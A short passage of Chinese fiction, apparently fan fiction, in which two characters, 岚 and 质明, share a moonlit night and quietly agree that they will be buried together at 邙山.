他慢慢拣出有些干枯的花瓣与叶片,然后梳拢这片蓬松的白。 月上梢头,银霜满地,与质明的白发不甚分明。 流淌的月光绕在他掌心,岚不知想起了什么,突然道:“倘若圆峤回归仙舟时某已不在,劳你去曜青将尸身寻来,归葬邙山。” 夜凉如水,月桂的浅淡香气萦绕,质明微微侧头:“同我葬在一起?” 岚颔首:“合该如此。” 言尽于此,良夜岑寂,一窗月明。